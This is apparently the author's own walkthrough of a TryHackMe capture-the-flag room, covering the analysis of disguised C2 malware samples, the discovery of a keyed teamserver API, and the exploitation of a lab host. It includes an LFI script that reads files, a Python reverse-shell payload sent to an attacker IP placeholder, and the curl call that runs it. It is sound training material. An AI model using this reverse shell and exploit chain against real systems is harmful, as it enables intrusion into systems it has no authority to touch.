We have reason to believe Risotto Group has compromised a corporate webserver. Cyber interdiction is authorized for this operation. Take it down.
Room Built: @July 27, 2022
Room Released: @September 23, 2022
Walkthrough Released: @October 4, 2022
Difficulty: Insane
Introduction
Takedown is a TryHackMe room. I think it’s pretty cool but I’ll admit that I’m biased. I did make it, after all.
This is the official walkthrough for this room. I did not cover every single detail available but do cover enough to get from start to finish. Obviously, major spoilers are ahead from here on out.
This room is difficult. Not because it requires some ungodly amount of bruteforcing. Not because it uses some esoteric exploitation method. Not because it’s intentionally made to confound you. But because it presents you with a puzzle where you must continually iterate on the pieces, maybe even learning about how they function at the granular level, before you can solve it. It also has a privesc that I believe is unique to THM, at least as far as I can tell.
The key to this room is thorough enumeration at every step. From the initial webserver to the identified malware samples to the teamserver API to the privesc, everything centers on extremely thorough enumeration. You can get through this room flailing and rushing around, but you’ll make it much further, much easier the more you enumerate.
Best of all, everything in this room has application in the real world of red teaming and threat intelligence.
If you think, even for a second, that this is going to be another web application ⇒ GTFO bins boot-to-root, I want you to leave your expectations at the door. And once you’ve done that, go back and pick up your expectations and launch them into the nearest lake via trebuchet.
Ready? Let’s begin.
Table of Contents (Spoilers!)
Key Skills Required (Spoilers!!!)
High Level Summary (SPOIIIILERSSSSS!!!!!)
Operation Brief
Make sure to read the Operations Brief carefully. If you didn’t get it from the intro task, I have a copy on hand for you here. Don’t lose it!
Make sure to read it all thoroughly so you understand the context and background for this room. When you’re ready, let’s begin!
Scanning & Enumeration
Nmap
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sC -sV takedown.thm.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-27 18:17 EDT
Nmap scan report for takedown.thm.local (192.168.138.131)
Host is up (0.0020s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 1d:55:62:3c:60:2e:b6:1c:5f:b4:ae:fa:0a:a4:a9:4f (RSA)
| 256 f1:b5:9a:77:c6:aa:39:0c:b0:b5:eb:53:99:4b:87:dc (ECDSA)
|_ 256 0d:fb:e4:9c:01:49:5d:46:c3:5d:4e:99:26:e4:45:96 (ED25519)
80/tcp open http nginx 1.23.1
| http-robots.txt: 1 disallowed entry
|_/favicon.ico
|_http-title: Infinity
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.21 seconds
The basic scan indicates that ports 22 and 80 are open.
A full port scan indicates that there are no other open ports. So our path forward is clear.
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -p- takedown.thm.local -v 130 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-27 18:19 EDT
Initiating Ping Scan at 18:19
Scanning takedown.thm.local (192.168.138.131) [2 ports]
Completed Ping Scan at 18:19, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 18:19
Scanning takedown.thm.local (192.168.138.131) [65535 ports]
Discovered open port 22/tcp on 192.168.138.131
Discovered open port 80/tcp on 192.168.138.131
Completed Connect Scan at 18:19, 11.24s elapsed (65535 total ports)
Nmap scan report for takedown.thm.local (192.168.138.131)
Host is up (0.0017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds
Port 22 is rarely exploitable and we do not have credentials yet, so we will enumerate the webserver at port 80.
The Nmap scan indicates the webserver at port 80 is behind an Nginx proxy, so let’s take a look.
Infinity Site
The website landing page at port 80 indicates that this is, indeed, the site noted in the operation brief:
There is a note right under the hero image on the site that says the site has been decommissioned after 7 years of operations:
Again, this is all in line with the mission briefing so far.
More enumeration shows a Contact form that seems to be broken:
Attempting to enter input into this form and submit it does not appear to lead to anything:
The console shows that some kind of function tries to run after pressing the submit button, but seems to error out. We do see the /inc
directory and a PHP file, sendEmail.php
:
The error also notes that this is an XML parsing error, so XXE may be a possibility.
Let’s begin a directory brute force before moving any further.
Directory Enumeration
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir --url http://takedown.thm.local -w=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://takedown.thm.local
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/07/27 18:31:18 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 325] [--> http://takedown.thm.local/images/]
/css (Status: 301) [Size: 322] [--> http://takedown.thm.local/css/]
/js (Status: 301) [Size: 321] [--> http://takedown.thm.local/js/]
/inc (Status: 301) [Size: 322] [--> http://takedown.thm.local/inc/]
/fonts (Status: 301) [Size: 324] [--> http://takedown.thm.local/fonts/]
/server-status (Status: 403) [Size: 283]
===============================================================
2022/07/27 18:32:51 Finished
===============================================================
The gobuster output identifies a few directories that return 301 redirections. This makes sense if we assume the webserver is behind an Nginx proxy.
The 403 code at /server-status
shows that the webserver is Apache:
Something interesting occurs when visiting other directories. It appears that the webserver does not have a full stack of functioning services. Instead, it looks like the directories are being served out by a simple Apache server instead of rendering content and running functions:
We can assume this is the case because the site has been decommissioned, so perhaps the PHP and other server-side languages have been disabled.
The other interesting directory, /inc
, includes the PHP page seen earlier:
But the contents of sendEmail.php
don’t seem to contain much of interest:
So even if this PHP were functional, it barely does anything.
Let’s return to the Operation Brief.
Intel Did Their Job For Once: Operation Brief (revisited)
Is there anything in here of interest that could help us enumerate? Well, yes.
Examine the Intelligence Brief and IOC section of the Operation Brief:
The table in the IOCs section contains a few malware samples that are attributed to Risotto Group. Here, we see a few that may be of interest:
From the list of provided IOCs, there are two malware samples, GUNRUNNER and OPTOMETRIC, that could be hosted inconspicuously on a web server. In fact, we’ve already seen a file with the name of one of them in the /images
directory:
Additionally, the favicon.ico
for the main site does not appear to be an actual image:
There is a good chance that these files are not images and favicons, but may be something else.
We can use wget
to recover all of the suspected files from the webserver:
┌──(kali㉿kali)-[~/Desktop]
└─$ wget http://takedown.thm.local/favicon.ico
...[snip]...
favicon.ico 100%[===========================================>] 166.00K --.-KB/s in 0.004s
2022-07-27 18:58:18 (42.6 MB/s) - ‘favicon.ico’ saved [169984/169984]
┌──(kali㉿kali)-[~/Desktop]
└─$ wget http://takedown.thm.local/images/shutterbug.jpg
...[snip]...
shutterbug.jpg 100%[===========================================>] 130.84K --.-KB/s in 0.003s
2022-07-27 18:58:40 (39.1 MB/s) - ‘shutterbug.jpg’ saved [133977/133977]
┌──(kali㉿kali)-[~/Desktop]
└─$ wget http://takedown.thm.local/images/shutterbug.jpg.bak
...[snip]...
shutterbug.jpg.bak 100%[===========================================>] 266.28K --.-KB/s in 0.009s
2022-07-27 18:58:43 (30.5 MB/s) - ‘shutterbug.jpg.bak’ saved [272672/272672]
Use the file
utility against these files:
┌──(kali㉿kali)-[~/Desktop]
└─$ file favicon.ico && file shutterbug.jpg*
favicon.ico: PE32+ executable (GUI) x86-64 for MS Windows
shutterbug.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1050x700, components 3
shutterbug.jpg.bak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1112f3ba247f0ef33b8a1849ae9a190b9e412ddd, for GNU/Linux 3.2.0
Jackpot.
shutterbug.jpg
appears to be a legitimate JPG file, but the other two are executables.
What about the SHA256 sums?
┌──(kali㉿kali)-[~/Desktop]
└─$ sha256sum favicon.ico && sha256sum shutterbug.jpg* 130 ⨯
80e19a10aca1fd48388735a8e2cfc8021724312e1899a1ed8829db9003c2b2dc favicon.ico
0a6583131935af7ad7b527d86af6372c4ca9d7ff74f55a3f25a3d1c2a41e891f shutterbug.jpg
265d515fbe1e8e19da9adeabebb4e197e2739dad60d38511d5d23de4fbcf3970 shutterbug.jpg.bak
We have a match on shutterbug.jpg.bak
in the IOC brief for the sample called OPTOMETRIC.
We can assume with high confidence that both of these files are Risotto Group malware.
Oh POG, Malware Reverse Engineering
(Come on, you knew this was coming ^.^)
The Intelligence Brief indicated that both of these samples are used for initial access. We perform malware analysis on these samples to determine how they communicate back with their teamserver.
At this point, setting up a malware analysis lab would be a good idea. If you do not have a malware analysis lab, Kali and a Windows 10 development machine will suffice.
(SHAMELESS PLUG: hey if the idea of Malware Analysis sounds fun to you, I made a course that’s available on TCM Security Academy on the subject!)
Basic Static Analysis
Strings
┌──(kali㉿kali)-[~/Desktop]
└─$ strings -n 6 favicon.ico
!This program cannot be run in DOS mode.
P`.data
.rdata
`@.pdata
0@.xdata
...
...
fatal.nim
io.nim
fatal.nim
parseutils.nim
strutils.nim
@strutils.nim(739, 11) `sep.len > 0`
oserr.nim
os.nim
...
...
Strings
shows that favicon.ico
is a Nim compiled executable.
Further down in the output of strings
, things get very interesting:
@[*] Sleeping: 10000
@results
@[*] Result:
@[x] Error:
@Error
@/download
@Could not read file:
@[x] Download args: download [agent source] [server destination]
[*] For example: download C:\Windows\Temp\foo.exe /home/kali/foo.exe
@http://takedown.thm.local/
@File written!
@[+] Downloaded
@/upload
@/api/agents/
@ from C2 server
@[*] Ready to receive
@[x] Upload args: upload [server source] [agent destination]
[*] For example: upload foo.exe C:\Windows\Temp\foo.exe
@Error:
@exec
@get_hostname
@download
@upload
@[*] Command to run:
@/command
@http://takedown.thm.local/api/agents/
@[*] Checking for command...
@[*] Hostname:
@[*] My UID is:
@http://takedown.thm.local/api/agents/register
The strings of this binary appear to not be encrypted and can be plainly read. The strings strongly indicate that this is a C2 agent, and includes a bunch of information about the teamserver and its endpoints.
Let’s pause briefly on the static analysis and attempt to reach one of the API endpoints:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://takedown.thm.local/api/agents
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at takedown.thm.local Port 80</address>
</body></html>
No luck. We need to figure out how this agent reaches the API in order to access the teamserver.
More info from the strings output:
@hostname
@[*] Key matches!
@c.oberst
@whoami
@[*] Checking keyed username...
@[*] Drone ready!
A potential username, c.oberst
and a string indicating that a key has matched.
Revisiting the Intel Brief, environmental keying is noted as a tactic used by Risotto Group:
We can assume that this is a key value for a targeted user, but confirmation of this fact will be held in abeyance until dynamic analysis.
More basic static analysis can be performed on this sample, but for the sake of brevity we will move onto the advanced static analysis of favicon.ico.
Advanced Static Analysis
(Author’s note: favicon.ico
and shutterbug.jpg.bak
are identical in terms of functionality, but favicon is a Windows PE and shutterbug is a Linux ELF. You, of course, don’t know that fact yet 😉)
favicon.ico
is a Portable Executable and appears to be written in Nim. Nim compiled code runs native on x86_64 architecture and is representable in ASM format. We do not have any intermediate language available like we would with a .NET compiled assembly, so we turn to a decompiler.
I prefer Cutter!
Cutter is not available on Kali by default, so I move the samples to a REMnux VM in my malware analysis lab.
Our objective here is to figure out:
- The significance of the username and keying strings and figure out if the malware is using a key for execution, and
- How to contact the teamserver given we tried to CURL the API endpoint and failed.
We open Cutter:
remnux@remnux:~/takedown$ ls
favicon.ico shutterbug.jpg.bak
remnux@remnux:~/takedown$ cutter
Setting PYTHONHOME = "/tmp/.mount_cutterfZWY98/usr" for AppImage.
PYTHONHOME = "/tmp/.mount_cutterfZWY98/usr"
...
We load favicon.ico
into Cutter and select default analysis.
We land at the entrypoint. This binary is not stripped so we can immediately go to the main() function:
Nim programs are a little weird. Usually, there is an entrypoint that leads to main(), which leads to another function called NimMain(), which leads to another function called NimMainModule(), which leads to the actual start of the program. If the program is running in Windows, there’s yet another function call for WinMain().
Basically, Nim has a few wrapper functions around the true main() method of a program. So we need to peel back some layers.
From main(), we trace into NimMain():
… then we’ll ignore PreMain() and setStackBottom, which are boilerplate. Moving into NimMainInner():
This is where we start to get into the real work of the program.
Verbose Mode
One pattern immediately jumps out in this block of the decompiled program:
These if
blocks roughly translate to:
if the value of (something) is not 0:
echo(value)
The (something) appears to be the same value, 0x443108
. The value of this is assigned on the line above:
We might not know exactly what value is assigned from this alone, but if we check each referenced location used by the echoBinSafe
, we see something interesting:
The first call to echoBinSafe with argument 0x425410
:
The second call to echoBinSafe with argument 0x004253d8
:
and, the third call to echoBinSafe with argument 0x004252c0
:
Two remarkable things here:
1) If I didn’t know any better, I would think this is some kind of verbose mode!
In fact, in the strings output, we did see something that looked like usage for this program:
...
@[*] Checking keyed username...
@[*] Drone ready!
@{prog}
Usage:
[options]
Options:
-h, --help
-v, --ver
...
It would make sense that if the -v
argument is passed in, then this value is not null. And if the verbose value is not null, things are printed to the terminal when the program runs.
This will come in handy during dynamic analysis.
2) We’re definitely in the vicinity of a username keying function call. Let’s keep reading.
Username Keying Function
Continuing down through the NimMainModule function, we see some more function calls that are interesting:
So, roughly:
Assign a variable to the return value of the wake_up function
If that value is not null:
If verbose mode is enables:
echo a thing
Assign a value to the return value of the get_hostname function
Assign a value to the return value of the initial_check_in function
...continues on....
It seems the program only continues if the output of the wake_up function is evaluated as true. So, what is the value of this variable compared to?
The argument that is passed in is the memory address 0x425380
:
This location leads to this string:
c.oberst
! We saw this in the strings earlier.
Now, what does the wake_up function do?
It runs the whoami function, then strips the output, and does a FindStr (string comparison) between arg1 (the string “c.oberst”) and the output of the whoami command. The whoami command, in this case, runs a shell command of “whoami” and returns the results.
So let’s walk it back. The program uses the string “c.oberst” and the output of a whoami command and compares the two. This behavior is congruant with environmental keying, which prevents malware from detonating in environments where it was not designed to detonate.
So if we want the binary to detonate during dynamic analysis, our user needs to be named c.oberst. That’s objective 1, sorted.
What about contacting the teamserver?
HTTP Callbacks & Weird User Agent
Let’s return to NimMainModule and analyze the next function in the binary after it checks for the keyed username value.
The program checks the hostname of the victim and then runs the initial_check_in function.
Let’s look at initial_check_in:
So again, in pseudocode:
Make a random string
Create an HTTP client
Create a new object for HTTP headers with the value stored at 0x4251a0
Roll this information up into JSON
Execute the request function and pass it the new HTTP client object (arg1_01), the headers (0x424f20), and the body of the JSON we just assembled.
The value at 0x4251a0
:
This value appears to be a User Agent string but has a weird value at the end:
Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:102.0__Gecko_20100101_Firefox_102.0_z.5.x.2.l.8.y.5
“z.5.x.2.l.8.y.5” is not part of a normal Mozilla User Agent String. This User Agent is passed in with the JSON body to an HTTP request. Where it goes, we’re not sure yet. But we have some candidates that we saw in the strings:
@/download
...
@http://takedown.thm.local/
...
@/upload
@/api/agents/
...
@/command
...
@http://takedown.thm.local/api/agents/
...
@http://takedown.thm.local/api/agents/register
We have enough information now to move to Dynamic Analysis.
Dynamic Analysis
Recall that this binary will not execute if the username does not match “c.oberst”. Also recall that this binary has a verbose mode. Let’s use these facts to assist in dynamic analysis.
Attempting to run the binary if our username is not c.oberst doesn’t seem to do anything:
remnux@remnux:~/takedown$ chmod +x shutterbug.jpg.bak
remnux@remnux:~/takedown$ ./shutterbug.jpg.bak
🥺🥺😢😢😢😭😭😭😂😂🤣🤣
remnux@remnux:~/takedown$
We can also try running it with the verbose flag:
remnux@remnux:~/takedown$ ./shutterbug.jpg.bak -h
😂🐍🚀🚀🤫🎇🎇🎆🙏🔥❤️🔥💖💯👋👋👋💯❤️🔥💖🔥🔥🔥❤️🔥🤫🎇🎇🎆🎆🚀🍆
Usage:
[options]
Options:
-h, --help
-v, --ver
remnux@remnux:~/takedown$ ./shutterbug.jpg.bak -v
[*] Drone ready!
[*] Checking keyed username...
🥺🥺😢😢😢😭😭😭😂😂🤣🤣
remnux@remnux:~/takedown$
Still no good. Let’s try adding a c.oberst user and running it as that user:
remnux@remnux:~/takedown$ sudo useradd -m c.oberst
remnux@remnux:~/takedown$ sudo su c.oberst
$ whoami
c.oberst
$ ./shutterbug.jpg.bak -v
[*] Drone ready!
[*] Checking keyed username...
[*] Key matches!
[*] My UID is: avci-hdds-bhuu-puog
[*] Hostname: remnux
[*] Checking for command...
...
We’ve successfully detonated the C2 agent! Let’s examine the output in Wireshark to pick up network traffic:
We can see a ton of interesting information here as the packets cross the network boundary. One thing to note is that the endpoint that the malware seems to be accessing is the same URL as the webserver, but it seems to reach a bunch of API endpoints that we have not seen yet:
We also see that the agent is using the same User Agent string that we saw during Advanced Static Analysis.
We can try to CURL these endpoints, but we get 404s:
remnux@remnux:~/takedown$ curl http://takedown.thm.local/api/agents/avci-hdds-bhuu-puog/command
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at takedown.thm.local Port 80</address>
</body></html>
So how do we access the teamserver?
Speak Friend and Enter: Accessing & Enumerating the Teamserver
So far we know:
- CURLing the web server on port 80 normally returns the basic Infinity website.
- CURLing the API endpoints that we’re seeing in Wireshark returns 404s.
- We found a weird User Agent value during malware reverse engineering.
- The malware samples called out to the same URL during dynamic analysis, but were able to reach some endpoints that we had not seen yet.
Therefore… there is likely some kind of rule in the Nginx server that is splitting traffic between the real Infinity site and the Risotto Group teamserver. And it’s probably based on that User Agent string.
So let’s try something. CURL the Infinity site without the User Agent string that we found during RE:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://takedown.thm.local 1 ⨯
<!DOCTYPE html>
<!--[if IE 8 ]><html class="no-js oldie ie8" lang="en"> <![endif]-->
<!--[if IE 9 ]><html class="no-js oldie ie9" lang="en"> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html class="no-js" lang="en"> <!--<![endif]-->
<head>
<!--- basic page needs
================================================== -->
<meta charset="utf-8">
<title>Infinity</title>
<meta name="description" content="">
<meta name="author" content="">
That returns the Infinity site.
Now, CURL the site and specify the User Agent string:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local
.
Look at that! CURLing the server with the specified User Agent returns something completely different! In this case, a single dot.
We can combine this with the URLs that we saw earlier during RE to start to enumerate the server. CURLing with the /api/agents
endpoint found in the strings and the User Agent produces the following:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents
{'[agent-uid]': 'www-infinity'}
Note that the agent-uid
field will be random.
Additionally, if we ran the malware during the dynamic analysis phase, there will be more check-ins here that note our own hostname!
We can also gobust the /api
endpoint and exclude anything with a single character as the response:
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir --url=http://takedown.thm.local/api --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" --exclude-length 1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://takedown.thm.local/api
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 1
[+] User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5
...
/server (Status: 200) [Size: 71]
/agents (Status: 200) [Size: 39]
Curling the /server and /agents endpoints shows more information:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local/api/server
{"guid": "9e29fc5d-31dc-4fc2-9318-d17b2694d8aa", "name": "C2-SHRIKE-1"}
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents
{'[agent-uid]': 'www-infinity'}
Dirbusting past this point returns few results, so let’s focus on the information we already have.
Teamservers Have Vulnerabilities, Too: LFI on the Teamserver
If we go back to our running agent on our malware analysis machine, we can observe the live agent running commands. One of these commands is the upload bar.txt foo.txt
command:
[*] Checking for command...
[*] Command to run: upload bar.txt foo.txt
[*] Ready to receive bar.txt from C2 server
[+] Downloaded bar.txt from C2 server
[*] Result: File written!
[*] Sleeping: 10000
The additional text is interesting: the agent seems to know that it is receiving bar.txt from its C2 server and will write it to foo.txt. Let’s examine how this works in the decompiler for more information.
In the decompiler, we track down the upload function. From NimMainModule, we examine check_for_commands and command_handler:
The output of check_for_commands (assigned to mem location 0x443170) is passed into the command_handler function as its first argument.
In command_handler, we see something that looks like a switch statement of functions that match the first argument:
The upload function is a bit complicated but functions similarly to other commands that we’ve already seen:
The upload function can be broken down into the following:
Agent checks in and says - "Do you have any jobs for me?"
Server responds - "Yes, please UPLOAD something from THIS LOCATION ON THE SERVER to THIS LOCATION ON THE VICTIM""
Agent goes to Upload API - "I am ready to upload your file from THIS LOCATION ON THE SERVER and will write it to THIS LOCATION ON THE VICTIM."
Server responds - "OK, here is -> [data from requested file]
This leaves the server vulnerable to Local File Inclusion.
Notice how the first part of that transaction, after the agent checks for jobs, is not even necessary. An agent with the right access to the teamserver can simply POST to the upload API with an arbitrary file from the server as the server source file and write it to the victim. And barring any kind of authentication mechanism, the server will happily hand over the requested file.
We can assume that, now that we have the right set up to CURL the teamserver API, we can exploit this LFI to gain information disclosure on the teamserver.
The JSON object requred is {”file”:”[lfi file]”}
which is discoverable in the upload function’s JSON function call.
After CURLing the /agents
endpoint to enumerate live agents:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -A "z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents
{'[agent-uid]': 'www-infinity'}
(Note that the agent-uid will be random)
We can now CURL the upload endpoint for a live agent and trick the server into LFI:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X POST -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents/[agent-uid]/upload -H "Content-Type: application/json" -d '{"file":"/etc/passwd"}'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
...
Excellent. With this, we can disclose more information about the teamserver.
Using this LFI, we can script an enumerator to read out the cmdline
values for each process running on the host:
import requests
target = "takedown.thm.local"
port = "80"
# Make sure to change the agent UID
url = "http://"+target+"/api/agents/[agent-uid]/upload"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8"}
for i in range (10):
print(f"[+] Trying {i}")
response = requests.post(url, headers=headers, json={"file": f"/proc/{i}/cmdline"})
cont = response.content
if "500 Internal Server Error" not in str(cont):
print(cont)
husky@MATT-TABLET:~$ python3 enumeration.py
http://takedown.thm.local/api/agents/zzts-xykf-uzab-gtwi/upload
[+] Trying 0
[+] Trying 1
b'python3\x00app.py\x00'
[+] Trying 2
[+] Trying 3
[+] Trying 4
[+] Trying 5
[+] Trying 6
[+] Trying 7
[+] Trying 8
[+] Trying 9
husky@MATT-TABLET:~$
app.py
is the default name of Flask applications. We’ve likely found the teamserver!
We can try to include that file to download the source code:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X POST -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents/tmnz-opmn-umaf-wzwt/upload -H "Content-Type: application/json" -d '{"file":"app.py"}'
import logging
import sys
import json
from threading import Thread
import re
import random
from os import system
import flask
from flask import request, abort
....
....
We’re in business!
(Author’s note: This vulnerability was built to model a real life RAT teamserver vulnerability! Learn more by watching the linked DEF CON talk below)
Inclusion: Teamserver Source Code Review
Full Source Code of app.py
Let’s review the source code of the teamserver carefully and identify any opportunities for further exploitation.
First thing to note is how the teamserver “authenticates” agents. There’s not much besides this:
...
HEADER_KEY = "z.5.x.2.l.8.y.5"
...
def is_user_agent_keyed(user_agent):
return HEADER_KEY in user_agent
...
Then, each API checks if this is in the User Agent for each request. That’s it!
So really, we can shorten our CURL to this:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X POST -A "z.5.x.2.l.8.y.5" http://takedown.thm.local/api/....etc...etc
The full list of APIs and methods, according to the source code, is the following:
@app.route("/")
@app.route('/api/server', methods=['GET'])
@app.route('/api/agents', methods=['GET'])
@app.route(f'/api/agents/commands', methods=['GET'])
@app.route('/api/agents/register', methods=['POST'])
@app.route('/api/agents/<uid>', methods=['GET'])
@app.route('/api/agents/<uid>/command', methods=['GET', 'POST'])
@app.route(f'/api/agents/<uid>/upload', methods=['POST'])
@app.route(f'/api/agents/<uid>/download', methods=['POST'])
@app.route(f'/api/server/exec', methods=['POST'])
@app.route('/api/agents/<uid>/exec', methods=['GET', 'POST'])
Right off the bat, the APIs for /server/exec
, /agent/<uid>/exec
, and /agent/<uid>/upload
and download
look interesting. We’ve already exploited the upload endpoint, so let’s look at the others.
/api/server/exec
@app.route(f'/api/server/exec', methods=['POST'])
def post_server_exec():
if is_user_agent_keyed(request.headers.get('User-Agent')):
if request.json:
cmd = request.json['cmd']
res = system(f"{cmd}")
return f"Command: {cmd} - Result code: {res}", 200
else:
return "Bad request", 400
else:
abort(404)
This is a simple command execution endpoint that passes a JSON value to the system
function. This is exploitable, plain and simple. If we can land something on the teamserver to execute, we can gain access to it. The system
function might be able to take a raw command, like a Bash TCP reverse shell, but let’s examine the other endpoints to see if there are better options.
/app/agents/<uid>/download
Similar to the upload API, there is also a download API that services the agents:
@app.route(f'/api/agents/<uid>/download', methods=['POST'])
def post_download(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
if request.json:
file = request.json["file"]
if file in ["app.py", "aggressor.txt"]:
abort(404)
data = request.json["data"]
f = open(file ,"w")
f.write(data)
f.close()
return "OK", 200
else:
return 401
else:
abort(404)
If the agent has the right keyed header and is in the list of live agents, if can pass the file
and data
parameters to this endpoint in order to write data from the victim to the teamserver. This function is vulnerable to a similar inclusion vulnerability as the upload
API. This time, we have arbitrary file write.
If you chain arbitrary file write with arbitrary command execution, then you have a viable exploit to gain access to the teamserver. Let’s get it!
HACKERMAN. I’m In: Initial Access & Container Foothold
To gain access to the teamserver, we need to :
- Exploit the arbitrary file write to stage an exploit, and
- Exploit the arbitrary command execution to launch the exploit.
or
- Exploit the arbitrary command execution to launch an exploit outright, like a Bash reverse shell.
I am a fan of the first approach.
We stage an exploit by CURLing the endpoint. We know Python is on the endpoint because the teamserver is built with Flask.
(hint: a JSON formatter is very useful for this part)
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X POST -A "z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents/[agent-uid]/download -H "Content-Type: application/json" -d '{
"file": "revshell.py",
"data": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"[kali IP]\",[port]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"
}'
OK
With an OK response, we can assume that the file revshell.py
was written to the teamserver file system.
Now, we can CURL the exec endpoint to execute this reverse shell:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X POST -A "z.5.x.2.l.8.y.5" http://takedown.thm.local/api/server/exec -H "Content-Type: application/json" -d '{"cmd": "python3 revshell.py"}'
-------
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.138.130] from (UNKNOWN) [192.168.138.131] 41178
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
c2-shrike-1
We’re in!…. in a container 🤦♂️
# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@c2-shrike-1:/# cd /
root@c2-shrike-1:/# ls
ls
bin dev home lib64 mnt proc root sbin sys usr
boot etc lib media opt python-docker run srv tmp var
Enumerate the contents of the python-docker
directory:
root@c2-shrike-1:/# cd python-docker
cd python-docker
root@c2-shrike-1:/python-docker# ls
ls
Dockerfile aggressor.txt bar.txt revshell.py templates
agent app.py requirements.txt teamserver.log
root@c2-shrike-1:/python-docker#
The agent/
directory is promising:
root@c2-shrike-1:/python-docker/agent# ls -la
ls -la
total 1008
drwxr-xr-x 3 root root 4096 Jul 27 02:07 .
drwxr-xr-x 1 root root 4096 Jul 27 18:17 ..
drwxr-xr-x 2 root root 4096 Jul 26 21:39 commands
-rwxr-xr-x 1 root root 169984 Jul 26 21:39 favicon.ico
-rw-r--r-- 1 root root 447 Jul 26 21:39 foo.txt
-rwxr-xr-x 1 root root 558432 Jul 26 21:39 main
-rw-r--r-- 1 root root 5920 Jul 26 21:39 main.nim
